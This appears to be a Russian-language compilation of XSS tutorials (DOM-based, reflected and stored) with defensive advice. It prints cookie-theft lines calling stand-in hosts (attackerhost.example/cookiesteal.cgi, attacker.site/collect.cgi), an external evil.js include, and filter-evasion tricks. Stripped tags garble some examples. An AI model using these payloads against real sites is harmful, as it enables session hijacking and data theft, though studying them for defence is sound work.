Xss уязвимость примеры. Easy Hack: Как добыть данные через Cross Site Scripting Inclusion

Все мы знаем, что такое межсайтовый скриптинг, правда? Это уязвимость, при которой атакующий посылает злонамеренные данные (обычно это HTML, содержащий код Javascript), которые позднее возвращаются приложением, что вызывает исполнение Javascript кода. Итак, это неверно! Существует тип XSS атак не соответствующий этому определению, по крайней мере, в основных фундаментальных принципах. XSS атаки, определение которых приведено выше, подразделяются на моментальные (злонамеренные данные встраиваются в страницу, которая возвращается браузеру сразу же после запроса) и отложенные (злонамеренные данные возвращаются через некоторое время). Но есть еще третий тип XSS атак, в основе которого не лежит отправка злонамеренных данных на сервер. Несмотря на то, что это кажется противоречащим здравому смыслу, есть два хорошо описанных примера такой атаки. Эта статья описывает третий тип XSS атак – XSS через DOM (DOM Based XSS). Здесь не будет написано ничего принципиально нового об атаке, скорее новшество этого материала в выделении отличительных черт атаки, которые являются очень важными и интересными.

Разработчики и пользователи прикладных приложений должны понимать принципы атаки XSS через DOM, так как она представляет угрозу для web приложений и отличается от обычного XSS. В сети интернет есть много web приложений уязвимых к XSS через DOM и при этом проверенных на XSS и признанных “неуязвимыми” к этому типу атак. Разработчики и администраторы сайтов должны ознакомиться с методами обнаружения и защиты от XSS через DOM, так как эти методики отличаются от приемов, используемых при работе со стандартными XSS уязвимостями.

Введение

Читатель должен быть знаком с основными принципами XSS атак (, , , , ). Под XSS обычно подразумевается моментальный () и отложенный межсайтовый скриптинг. При моментальном XSS злонамеренный код (Javascript) возвращается атакуемым сервером немедленно в качестве ответа на HTTP запрос. Отложенный XSS означает, что злонамеренный код сохраняется на атакуемой системе и позднее может быть внедрен в HTML страницу уязвимой системы. Как было упомянуто выше, такая классификация предполагает, что фундаментальное свойство XSS состоит в том, что злонамеренный код отсылается из браузера на сервер и возвращается в этот же браузер (моментальный XSS) или любой другой браузер (отложенный XSS). В этой статье поднимается вопрос о том, что это неверная классификация. Возможность осуществления XSS атаки, не основывающейся на внедрении кода в страницу, возвращаемую сервером, оказала бы серьезное влияние на методы защиты и обнаружения. Принципы таких атак обсуждаются в этой статье.

Пример и комментарии

Перед описанием простейшего сценария атаки важно подчеркнуть, что методы, описываемые здесь, уже неоднократно демонстрировались публично (например, , и ). Я не претендую на то, что приведенные ниже методики описываются впервые (хотя некоторые из них имеют отличия от ранее опубликованных материалов).

Признаком уязвимого сайта может служить наличие HTML страницы, использующей данные из document.location, document.URL или document.referrer (или любых других объектов на которые может влиять атакующий) небезопасным способом.

Примечание для читателей незнакомых с этими объектами Javascript: когда код Javascript выполняется в браузере, он получает доступ к нескольким объектам, представленных в рамках DOM (Document Object Model – Объектная Модель Документа). Объект document является главным среди этих объектов и предоставляет доступ к большинству свойств страницы. Этот объект содержит много вложенных объектов, таких как location, URL и referrer. Они управляются браузером в соответствии с точкой зрения браузера (как будет видно ниже, это весьма существенно). Итак, document.URL и document.location содержат URL страницы, а точнее, то, что браузер подразумевает под URL. Обратите внимание, эти объекты не берутся из тела HTML страницы. Объект document содержит объект body, содержащий обработанный (parsed) HTML код страницы.

Не сложно найти HTML страницу, содержащую Javascript код, который анализирует строку URL (получив к ней доступ через document.URL или document.location) и в соответствии с ее значением выполняет некоторые действия на стороне клиенте. Ниже приведен пример такого кода.

По аналогии с примером в рассмотрим следующую HTML страницу (предположим, что это содержание http://www.vulnerable.site/welcome.html ):

Welcome! Hi var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our system …

Однако запрос наподобие этого –

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

вызвал бы XSS. Рассмотрим, почему: браузер жертвы, получивший это ссылку, отправляет HTTP запрос на www.vulnerable.site и получает вышеупомянутую (статическую!) HTML страницу. Браузер жертвы начинает анализировать этот HTML код. DOM содержит объект document, имеющий поле URL, и это поле заполняется значением URL текущей страницы в процессе создания DOM. Когда синтаксический анализатор доходит до Javascript кода, он выполняет его, что вызывает модификацию HTML кода отображаемой страницы. В данном случае, код ссылается на document.URL и так как часть этой строки во время синтаксического разбора встраивается в HTML, который сразу же анализируется, обнаруженный код (alert(…)) выполняется в контексте той же самой страницы.

Замечания:

1. Злонамеренный код не встраивается в HTML страницу (в отличие от других разновидностей XSS).
2. Этот эксплойт будет работать при условии, что браузер не модифицирует символы URL. Mozilla автоматически кодирует символы ‘’ (в %3C и %3E соответственно) во вложенных объектах document. Если URL был напечатан напрямую в строке адреса, этот браузер неуязвим для атаки описанной в этом примере. Однако, если для атаки не нужны символы ‘’ (в исходном незакодированном виде) атаку можно осуществить. Microsoft Internet Explorer 6.0 не кодирует ‘’ и поэтому уязвим к описанной атаке без каких-либо ограничений. Однако существует много различных сценариев атаки, не требующих ‘’, и поэтому даже Mozilla не имеет иммунитета к этой атаке.

Методы обнаружения и предотвращения уязвимостей этого типа

В примере выше злонамеренный код все еще передается на сервер (как часть HTTP запроса), поэтому атака может быть обнаружена, так же как и любая другая XSS атака. Но это решаемая проблема.

Рассмотрим следующий пример:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Обратите внимание на символ ‘#’ справа от имени файла. Он говорит браузеру, что все после этого символа не является частью запроса. Microsoft Internet Explorer (6.0) и Mozilla не отправляет фрагмент после символа ‘#’ на сервер, поэтому для сервера этот запрос будет эквивалентен http://www.vulnerable.site/welcome.html, т.е. злонамеренный код даже не будет замечен сервером. Таким образом, благодаря этому приему, браузер не отправляет злонамеренную полезную нагрузку на сервер.

Но все же в некоторых случаях невозможно скрыть полезную нагрузку: в и злонамеренная полезная нагрузка является частью имени пользователи (username) в URL типа http://username@host/. В этом случае браузер отправляет запрос с заголовком Authorization, содержащий имя пользователи (злонамеренная полезная нагрузка), в результате чего злонамеренный код попадает на сервер (закодированный с помощью Base64 – следовательно IDS/IPS для обнаружения атаки должны вначале декодировать эти данные). Однако сервер не обязан внедрять эту полезную нагрузку в одну из доступных HTML страниц, хотя это является необходимым условием выполнения XSS атаки.

Очевидно, что в ситуациях, когда полезная нагрузка может быть полностью скрыта, средства обнаружения (IPS) и предотвращения (IPS, межсетевые экраны для web приложений) не могут полностью защитить от этой атаки. Даже если полезную нагрузку нужно отсылать на сервер, во многих случаях для избежания обнаружения она может быть преобразована определенным образом. Например, если какой-то параметр защищен (к примеру, параметр name в примере выше), небольшое изменение сценария атаки может принести результат:

(document.cookie)

Более строгая политика безопасности требовала бы обязательной отсылки параметра name. В этом случае вы может сделать следующий запрос:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Если политика безопасности ограничивает дополнительные имена параметров (например: foobar), можно использовать следующий вариант:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Обратите внимание, что игнорируемый параметр (foobar) должен идти первым и в своем значении содержать полезную нагрузку.

Сценарий атаки, описанный в , еще более предпочтителен для атакующего, так как в HTML страницу пишется полное значение document.location (Javascript код не производит поиск специфичного имени параметра). Таким образом, атакующий может полностью скрыть полезную нагрузку, отправив следующее:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Даже если полезная нагрузка анализируется сервером, защита может гарантироваться только в том случае, если запрос будет отклонен или ответ будет заменен на некоторый текст ошибки. Обратимся снова к и : если заголовок Authorization будет просто удален промежуточной системой защиты, это не принесет никакого эффекта, если будет возвращена оригинальная страница. Аналогично любая попытка обработки данных на сервере, путем удаления или кодирования запрещенных символов, будет неэффективна против этой атаки.

В случае с document.referrer, полезная нагрузка отсылается на сервер через заголовок Referer. Однако если браузер пользователя или промежуточная защита удалит этот заголовок — не останется никаких следов атаки, которая можно пройти полностью незамеченной.

Подводя итоги, делаем вывод, что традиционные методы, а именно

1. Кодирование данных HTML на стороне сервера
2. Удаление/кодирование запрещенных входных данных на стороне сервера не работают против DOM XSS.

Автоматический поиск уязвимости путем “бомбардировки” злонамеренными данными (иногда называемый fuzzing) не будет работать, так как программы, использующие эту методику, обычно делают выводы на основе того, присутствуют ли внедренные данные в возвращенной странице или нет (вместо выполнения кода в контексте браузера на стороне клиента и наблюдения за результатами). Однако, если программа может статически анализировать код Javascript, обнаруженный на странице, она может указать на подозрительные признаки (см. ниже). И конечно, если средства защиты могут исполнять код Javascript (и корректно инициализировать DOM объекты) или эмулировать такое исполнение, они смогут обнаружить эту атаку.

Ручной поиск уязвимости с помощью браузера также будет работать, так как браузер может выполнять клиентский код Javascript. Средства поиска уязвимостей могут принять на вооружение этот метод и выполнять код на стороне клиента для слежения за результатами его выполнения.
Эффективная защита

Избегать перезаписи документа на стороне клиента, переадресацию или другие подобные действия, использующие данные на стороне клиента. Большинство этих действий может быть выполнено с использованием динамических страниц (на стороне сервера).
2.

Анализ и повышение защищенности кода (Javascript) на стороне клиента. Ссылки на объекты DOM, на которые может влиять пользователь (атакующий), должны быть тщательно проверены. Особое внимание нужно уделять следующим объектам (но не ограничиваться ими):
* document.URL
* document.URLUnencoded
* document.location (и его свойства)
* document.referrer
* window.location (и его свойства)

Обратите внимание: на свойства объектов document и window можно сослаться несколькими способами: явно (пример — window.location), неявно (пример — location) или через получения дескриптора и использования его (пример — handle_to_some_window.location).

Особое внимание нужно уделить коду, где модифицируется DOM, явно или есть потенциальная возможность, а также через прямой доступ к HTML или через доступ непосредственно к DOM. Примеры (это ни в коем случае не исчерпывающий список):
* Запись в HTML код страницы:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Изменение DOM напрямую (включая события DHTML):
o document.forms.action=… (и другие вариации)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o document.body. … (доступ к DOM через объект body)
o window.attachEvent(…)
* Изменение URL документа:
o document.location=… (а также присвоение значений href, host и hostname объекта location)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Открытие/модификация объекта window:
o document.open(…)
o window.open(…)
o window.location.href=… (а также присвоение значения host и hostname объекта location)
* Выполнение скрипта напрямую:
o eval(…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

В продолжение вышеупомянутого примера, для эффективной защиты оригинальный скрипт может быть заменен следующим кодом, который проверяет строку, записываемую в HTML страницу на наличие только алфавитно-цифровых символов.

Через XSS опытные злоумышленники интегрируют в страницы сайтов-жертв работающие на них скрипты, выполняемые в момент посещения зараженных ресурсов. Существует несколько видов XSS-уязвимостей, представляющих различную степень опасности.

Особенности пассивной и активной уязвимости

Наиболее осторожно стоит относиться к активной уязвимости. Когда злоумышленник внедряет свой SQL-код в доступную базу либо файл на сервер, жертвой может стать каждый посетитель зараженного ресурса. Такие места часто интегрируются, поэтому даже обработанные вашей защитой данные, хранящиеся в БД, могут по-прежнему представлять определенную опасность.

Создание пассивной XSS-уязвимости требует от злоумышленника определенной изобретательности. Либо вас заманивают на подставной ресурс всевозможными ссылками, либо пытаются любыми способами переадресовать на требуемый сайт. Обычно это происходит через письма от вымышленной администрации посещаемой вами страницы, с запросами проверки настроек аккаунта. Также активно используется разнообразные спам-рассылки или посты на широко посещаемых форумах.

Пассивная XSS-уязвимость может исходить как от POST так и от GET-параметров. Для первых характерен ряд различных ухищрений, для вторых – кодировка url-строки либо вставка дополнительных значений.

Похищение Cookies

Чаще всего именно ваши Cookies становятся целью проводимой XSS атаки. Иногда в них остается ценная информация, включающая логины и пароли пользователей либо их хэш. Но достаточно опасны и совершения краж активных сессий важных для вас сайтов, поэтому не стоит забывать нажимать на кнопку «выход» даже при посещении сайтов с домашнего компьютера. Хотя большинство ресурсов для предотвращения подобных действий используют автоматическое ограничение длительности сессии. Доменные же ограничения XMLHttpRequest от таких атак не спасают.

Данные из заполняемых форм

Пользуется популярностью и считывание информации в заполняемых формах. Для этого на вызывающих интерес страницах выполняется отслеживание событий (onsubmit), а все предоставляемые данные пересылаются также и на сервера злоумышленников. Такие атаки во многом схожи с фишинговыми, но кража происходит не на поддельном, а на реальном сайте с хорошей репутацией.

Распределенные DDoS-атаки

Для атак через XSS используются и многопосещаемые ресурсы. Благодаря XSS-уязвимости выполняется переадресация приходящих на них запросов на взламываемый сервер, в результате чего его защита не выдерживает.

Поддельные межсайтовые запросы (CSRF/XSRF)

У них также мало общего с XSS. Это отдельная разновидность уязвимостей, используемых в сочетании с XSS. Их целью является завлечение авторизованного пользователя с неуязвимого сайта на подставную уязвимую страницу для проведения обманных операций. Например, клиента, использующего электронную систему платежей, выманивают на уязвимый сайт, переводящий деньги на счета злоумышленников. Поэтому в большинстве платежных систем предусмотрена защита путем дополнительного введения пароля либо подтверждающего операцию кода.

Внедрение XSS-червей

Такая XSS атака на сайт появилась с развитием известных соцсетей (Вконтакте, Twitter и других). Через них целые группы пользователей получают уязвимые XSS ссылки с интегрированными скриптами, рассылающими по сетям спам от их имени. Также широко практикуется и попутное копирование личной информации и фотографий на ресурсы злоумышленников.

Примеры безобидных XSS

Заметим, что многие типы счетчиков также выполняют роль активных XSS. С них ведется передача данных о регистрирующихся посетителях (их IP-адреса, данные об используемом оборудовании).

Только данный код интегрируется у вас в компьютере по вашей же воле. К другим подобным XSS можно смело отнести целый ряд кроссдоменных AJAX-запросов.

Ори Сигал (Ory Segal)

Узнайте, как хакеры используют атаку типа "межсайтовый скриптинг", что она повреждает (а что - нет), как их определять, а также как защитить свой Web-сайт и его посетителей от подобных злоумышленных нарушений конфиденциальности и безопасности.

Межсайтовый скриптинг (cross-site scripting, или сокращенно XSS) - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. XSS - это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-либо целей. Большинство атак подразумевает участие двух сторон: либо злоумышленника и Web-сайт, либо злоумышленника и жертву-клиента. Однако в атаке XSS участвуют три стороны: злоумышленник, клиент и Web-сайт.

Целью атаки XSS является кража с компьютера клиента файлов cookie или другой конфиденциальной информации, которая может идентифицировать клиента на Web-сайте. Располагая информацией для идентификации в качестве легального пользователя, злоумышленник может действовать на сайте в качестве такого пользователя, т.е. притворяться им. Например, при одном аудите, проводимом в большой компании, можно было с помощью атаки XSS получить частную информацию пользователя и номер его кредитной карты. Это было достигнуто путем запуска специального кода на JavaScript. Этот код был запущен в браузере жертвы (клиента), у которой были привилегии доступа на Web-сайт. Есть очень ограниченное число привилегий JavaScript, которые не дают доступ скрипта ни к чему, кроме информации, относящейся к сайту. Важно подчеркнуть, что, хотя уязвимость и существует на Web-сайте, сам он напрямую не повреждается. Но этого достаточно, чтобы скрипт собрал файлы cookie и отправил их злоумышленнику. В итоге злоумышленник получает нужные данные и может имитировать жертву.

Давайте назовем атакуемый сайт следующим образом: www.vulnerable.site . В основе традиционной атаки XSS лежит уязвимый скрипт, который находится на уязвимом сайте. Этот скрипт считывает часть HTTP-запроса (обычно параметры, но иногда также HTTP-заголовки или путь) и повторяет его для ответной страницы, полностью или только часть. При этом не производится очистка запроса (т.е. не проверяется, что запрос не содержит код JavaScript или тэги HTML). Предположим, что этот скрипт называется welcome.cgi, и его параметром является имя. Его можно использовать следующим образом:

Как этим можно злоупотребить? Злоумышленник должен суметь завлечь клиента (жертву), чтобы он щелкнул мышью ссылку, которую злоумышленник ему предоставляет. Это тщательно и злонамеренно подготовленная ссылка, которая заставляет Web-браузер жертвы обратиться к сайту (www.vulnerable.site) и выполнить уязвимый скрипт. Данные для этого скрипта содержат код на JavaScript, который получает доступ к файлам cookie, сохраненным браузером клиента для сайта www.vulnerable.site. Это допускается, поскольку браузер клиента "думает", что код на JavaScript исходит от сайта www.vulnerable.site. А модель безопасности JavaScript позволяет скриптам, исходящим от определенного сайта, получать доступ к файлам cookie, которые принадлежат этому сайту.

Ответ уязвимого сайта будет следующим:

Welcome! Hi alert(document.cookie)

Welcome to our system ...

Браузер клиента-жертвы интерпретирует этот запрос как HTML-страницу, содержащую часть кода на JavaScript. Этот код при выполнении получит доступ ко всем файлам cookie, принадлежащим сайту www.vulnerable.site. Следовательно, он вызовет всплывающее окно в браузере, показывающее все файлы cookie клиента, которые относятся к www.vulnerable.site.

Конечно, реальная атака подразумевала бы отправку этих файлов атакующему. Для этого атакующий может создать Web-сайт (www.attacker.site) и использовать скрипт для получения файлов cookie. Вместо вызова всплывающего окна злоумышленник написал бы код, который обращается по URL-адресу к сайту www.attacker.site. В связи с этим выполняется скрипт для получения файлов cookie. Параметром для этого скрипта служат украденные файлы cookie. Таким образом, злоумышленник может получить файлы cookie с сервера www.attacker.site.

Немедленно после загрузки этой страницы браузер выполнит вставленный туда код JavaScript и перешлет запрос скрипту collect.cgi на сайте www.attacker.site вместе со значением файлов cookie с сайта www.vulnerable.site, которые уже есть в браузере. Это подрывает безопасность файлов cookie сайта www.vulnerable.site, которые есть у клиента. Это позволяет злоумышленнику притвориться жертвой. Конфиденциальность клиента полностью нарушена.

Примечание.
Обычно вызова всплывающего окна с помощью JavaScript достаточно, чтобы продемонстрировать уязвимость сайта к атаке XSS. Если из JavaScript можно вызвать функцию Alert, то обычно нет причин, по которым вызов может не получиться. Вот почему большинство примеров атак XSS использует функцию Alert, которая очень легко позволяет определить успех атаки.

Атака может произойти только в браузере жертвы, том же самом, который использовался для доступа к сайту (www.vulnerable.site). Атакующий должен заставить клиента получить доступ к вредоносной ссылке. Этого можно добиться несколькими способами.

  • Злоумышленник посылает по электронной почте сообщение, содержащее HTML-страницу, которая заставляет браузер открыть ссылку. Для этого требуется, чтобы жертва использовала клиент электронной почты, способный работать с HTML. А средством просмотра HTML в клиенте должен быть тот же браузер, который используется для доступа к сайту www.vulnerable.site.
  • Клиент посещает сайт, возможно, созданный злоумышленником, на котором ссылка на изображение или другой активный элемент HTML заставляет браузер открыть ссылку. Опять же в этом случае обязательно, чтобы для доступа и к этому сайту, и к сайту www.vulnerable.site использовался один и тот же браузер.

Вредоносный код на JavaScript может получить доступ к любой перечисленной ниже информации:

  • постоянные файлы cookie (сайта www.vulnerable.site), которые сохраняет браузер;
  • файлы cookie в оперативной памяти (сайта www.vulnerable.site), которые поддерживаются экземпляром браузера только при просмотре сайта www.vulnerable.site;
  • имена других окон, открытых для сайта www.vulnerable.site.
  • любая информация, которая доступна через текущую модель DOM (из значений, кода HTML и т.д.).

Данные для идентификации, авторизации и аутентификации обычно хранятся в виде файлов cookie. Если эти файлы cookie постоянные, то жертва уязвима для атаки даже тогда, когда она не использует браузер в момент доступа к сайту www.vulnerable.site. Однако если файлы cookie - временные (например, они хранятся в оперативной памяти), то на стороне клиента должен существовать сеанс связи с сайтом www.vulnerable.site.

Еще одна возможная реализация идентификационной метки - это параметр URL. В подобных случаях можно получить доступ к другим окнам, используя JavaScript следующим образом (предположим, что имя страницы с нужными параметрами URL - foobar):

var victim_window=open(","foobar");alert("Can access:

" +victim_window.location.search)

Чтобы запустить скрипт на JavaScript, можно использовать множество тэгов HTML, помимо . На самом деле, вредоносный код JavaScript также можно разместить на другом сервере, а затем заставить клиента загрузить скрипт и выполнить его. Это может быть полезным, если нужно запустить большой объем кода, либо если код содержит специальные символы.

Вот несколько вариаций этих возможностей.

  • Вместо ... хакеры могут использовать конструкцию . Это подходит для сайтов, которые фильтруют HTML-тэг .
  • Вместо ... можно использовать конструкцию . Это хорошо в ситуации, когда код на JavaScript слишком длинный, или если он содержит запрещенные символы.

Иногда данные, внедренные в ответную страницу, находятся в платном HTML-контексте. В этом случае сначала нужно "сбежать" в бесплатный контекст, а затем предпринять атаку XSS. Например, если данные вставляются в качестве значения по умолчанию для поля формы HTML:

А итоговый код HTML будет следующим:

window.open

("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

До сих пор мы видели, что атака XSS может происходить в параметре запроса GET, на который отвечает скрипт. Но выполнить атаку можно и с помощью запроса POST, либо с использованием компонента пути запроса HTTP, и даже с помощью некоторых заголовков HTTP (например, Referer).

В частности, компонент пути (path) полезен, когда страница ошибки возвращает ошибочный путь. В этом случае включение вредоносного скрипта в путь часто приводит к его выполнению. Многие Web-серверы уязвимы для этой атаки.

Важно понимать, что, хотя Web-сайт и не затронут напрямую этой атакой (он продолжает нормально работать, вредоносный код на нем не выполняется, атака DoS не происходит, и данные с сайта напрямую не считываются и не подделываются), это все же брешь в системе безопасности, которую сайт предлагает своим клиентам или посетителям. Это похоже на сайт, который используется для развертывания приложения со слабыми метками безопасности. Из-за этого злоумышленник может угадать метку безопасности клиента и притвориться им (или ей).

Слабым местом в приложении является скрипт, который возвращает свой параметр независимо от его значения. Хороший скрипт должен убедиться, что у параметра правильный формат, что он содержит приемлемые символы и т.д. Обычно нет причин, чтобы правильный параметр содержал тэги HTML или код JavaScript. Они должны быть удалены из параметра до того, как он будет внедрен в ответ или использован в приложении. Это позволит обеспечить безопасность.

Обезопасить сайт от атак XSS можно тремя способами.

  • С помощью выполнения собственной фильтрации входных данных (которую иногда называют входным санитарным контролем, или input sanitation). Для каждого ввода пользователя (будь это параметр или заголовок HTML), в каждом написанным самостоятельно скрипте следует применять расширенные средства фильтрации против тэгов HTML, включая код JavaScript. Например, скрипт welcome.cgi из предыдущего примера должен фильтровать тэг после декодирования параметра имени. Этот метод имеет несколько серьезных недостатков.
    • Он требует от прикладного программиста хорошего знания технологий безопасности.
    • Он требует от программиста охвата всех возможных источников входных данных (параметров запросов, параметров тела запросов POST, заголовков HTTP).
    • Он не может защитить от уязвимостей в скриптах или серверах сторонних производителей. Например, он не защитит от проблем в страницах ошибки на Web-серверах (которые отображают путь источника).
  • Выполнение "выходной фильтрации", т.е. фильтрация пользовательских данных, когда они пересылаются обратно в браузер, а не когда их получает скрипт. Хорошим примером этого подхода может стать скрипт, который вставляет данные в базу данных, а затем их отображает. В этом случае важно применять фильтр не исходной входной строке, а только к выходной версии. Недостатки этого метода похожи на недостатки входной фильтрации.
  • Установка межсетевого экрана приложений (брандмауэра) стороннего производителя. Этот экран перехватывает атаки XSS до того, как они достигнут Web-сервера и уязвимых скриптов, и блокирует их. Межсетевые экраны приложений могут охватывать все методы ввода, работая с ними общим способом (включая путь и заголовки HTTP), независимо от скрипта или пути из собственного приложения, скрипта стороннего производителя или скрипта, который вообще не описывает никаких ресурсов (например, предназначенный для того, чтобы спровоцировать ответную страницу 404 с сервера). Для каждого источника входных данных межсетевой экран приложений проверяет данные на наличие различных образцов тэгов HTML и кода JavaScript. Если есть какие-то совпадения, то запрос блокируется, и вредоносные данные не достигают сервера.

    • Логическим завершением защиты сайта является проверка его защищенности от атак XSS. Как и защита сайта от XSS, проверку степени защиты можно проводить вручную (трудный способ), либо с помощью автоматизированного средства оценки уязвимости Web-приложений. Такой инструмент снимет с вас нагрузку, связанную с проверкой. Эта программа перемещается по сайту и запускает все известные ей варианты для всех скриптов, которые она обнаруживает. При этом пробуются все параметры, заголовки и пути. В обоих методах каждый ввод в приложение (параметры всех скриптов, заголовки HTTP, пути) проверяется с максимально возможным количеством вариантов. И если ответная страница содержит код JavaScript в контексте, где браузер может его выполнить, то появляется сообщение об уязвимости к XSS. Например, при отправке следующего текста:

    alert(document.cookie)

    каждому параметру каждого скрипта (через браузер с возможностями работы с JavaScript, чтобы выявить простейший вид уязвимости к XSS) браузер вызовет окно JavaScript Alert, если текст интерпретирован как код JavaScript. Конечно, есть несколько вариантов. Поэтому тестировать только этот вариант недостаточно. И, как вы уже узнали, можно вставлять код JavaScript в различные поля запроса: параметры, заголовки HTTP и путь. Однако в некоторых случаях (особенно с заголовком HTTP Referer) выполнять атаку с помощью браузера неудобно.

    Межсайтовый скриптинг - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. Также она является и самой опасной. Это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-то целей. К сожалению, как поясняет эта статья, это часто делается без знаний об атакуемом клиенте или организации.

    Чтобы предотвратить уязвимость Web-сайтов к этим вредоносным действиям, важно, чтобы организация реализовала стратегию и онлайн-, и оффлайн-защиты. Это включает в себя средство автоматизированной проверки уязвимости, которое может протестировать на наличие всех известных уязвимостей Web-сайтов и определенных приложений (например, межсайтовый скриптинг) на сайте. Для полной онлайн-защиты также жизненно важно установить межсетевой экран, который может обнаруживать и блокировать любой тип манипуляций с кодом и данными, располагающимися на Web-серверах или за ними.

    Cross-Site Scripting или XSS. Межсайтовый скриптинг (межсайтовое выполнение сценариев).

    Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML /JavaScript , но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.

    Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя эти привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера. У атакованного пользователя может быть скомпрометирован аккакунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL , в заголовках Методы и структура протокола HTTP запроса (Cookie , user-agent, refferer), значениях полей форм и т.д.

    Существует три типа атак, приводящих к межсайтовому выполнению сценариев: non-persistent непостоянные (отраженные), persistent постоянные (сохраненные) и основанные на DOM . Основным отличием между persistent и non-persistent является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP- запроса, а в хранимом - в разных.

    Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по email, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса будет передан клиенту и выполнен в его браузере.

    Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с Web- интерфейсом и чаты. Для атаки пользователю не обязательно переходить по ссылке, достаточно посетить уязвимый сайт.

      Пример. Сохраненный (persistent) вариант атаки. Многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру

    сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Пример кода для передачи cookie:

    document.location= "http://attackerhost.example/cgi- bin/cookiesteal.cgi?"+document.cookie

      Пример. Отраженный (non-persistent) вариант атаки. Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице.

    К примеру, при переходе по URL http://portal.example/search?q= ”fresh beer” пользователю будет отображена страница, содержащая результаты поиска и фразу: "По вашему запросу fresh beer найдено 0 страниц". Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя. Пример:

    Http://portal.example/search/?q=alert("xss")

    Для сокрытия кода сценария может быть использована кодировка URLEncode

    Http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

    Флэнаган Дэвид JavaScript

    Выдержка из книги Флэнаган Дэвид JavaScript Полное руководство 5 издание.

    Термин межсайтовый скриптинг (cross"site scripting), или XSS, относится к области компьютерной уязвимости, когда атакующий внедряет HTML теги или сценарии в документы на уязвимом вебсайте. Организация защиты от XSS атак – обычное дело для вебразработчиков, занимающихся созданием серверных сценариев. Однако программисты, разрабатывающие клиентские JavaScript сценарии, также должны знать о XSS атаках и предпринимать меры защиты от них.

    Веб страница считается уязвимой для XSS атак, если она динамически создает содержимое документа на основе пользовательских данных, не прошедших предварительную обработку по удалению встроенного HTML кода. В качестве тривиального примера рассмотрим следующую веб-страницу, которая использует JavaScript сценарий, чтобы приветствовать пользователя по имени:

    var name = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Привет " + name);

    Во второй строке сценария вызывается метод window.location.search.substring, с помощью которого извлекается часть адресной строки, начинающаяся с символа?. Затем с помощью метода document.write() добавляется динамически сгенерированное содержимое документа. Этот сценарий предполагает, что обращение к вебстранице будет производиться с помощью примерно такого URL адреса:

    Http://www.example.com/greet.html?name=Давид

    В этом случае будет выведен текст «Привет Давид». Но что произойдет, если страница будет запрошена с использованием следующего URL адреса:

    Http://www.example.com/greet.html?name=%3Cscript%3Ealert("Давид")%3C/script%3E

    С таким содержимым URL адреса сценарий динамически сгенерирует другой сценарий (коды %3C и %3E – это угловые скобки)! В данном случае вставленный сценарий просто отобразит диалоговое окно, которое не представляет никакой опасности. Но представьте себе такой случай:

    Http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

    Межсайтовый скриптинг потому так и называется, что в атаке участвует более одного сайта. Сайт B (или даже сайт C) включает специально сконструированную ссылку (подобную только что показанной) на сайт A, в которой содержится сценарий с сайта B. Сценарий evil.js размещается на сайте злоумышленника B, но теперь этот сценарий оказывается внедренным в сайт A и может делать все, что ему заблагорассудится с содержимым сайта A. Он может стереть страницу или вызвать другие нарушения в работе сайта (например, отказать в обслуживании, о чем рассказывается в следующем разделе). Это может отрицательно сказаться на посетителях сайта A. Гораздо опаснее, что такой злонамеренный сценарий может прочитать содержимое cookies, хранящихся на сайте A (возможно содержащих учетные номера или другие персональные сведения), и отправить эти данные обратно на сайт B. Внедренный сценарий может даже отслеживать нажатия клавиш и отправлять эти данные на сайт B.

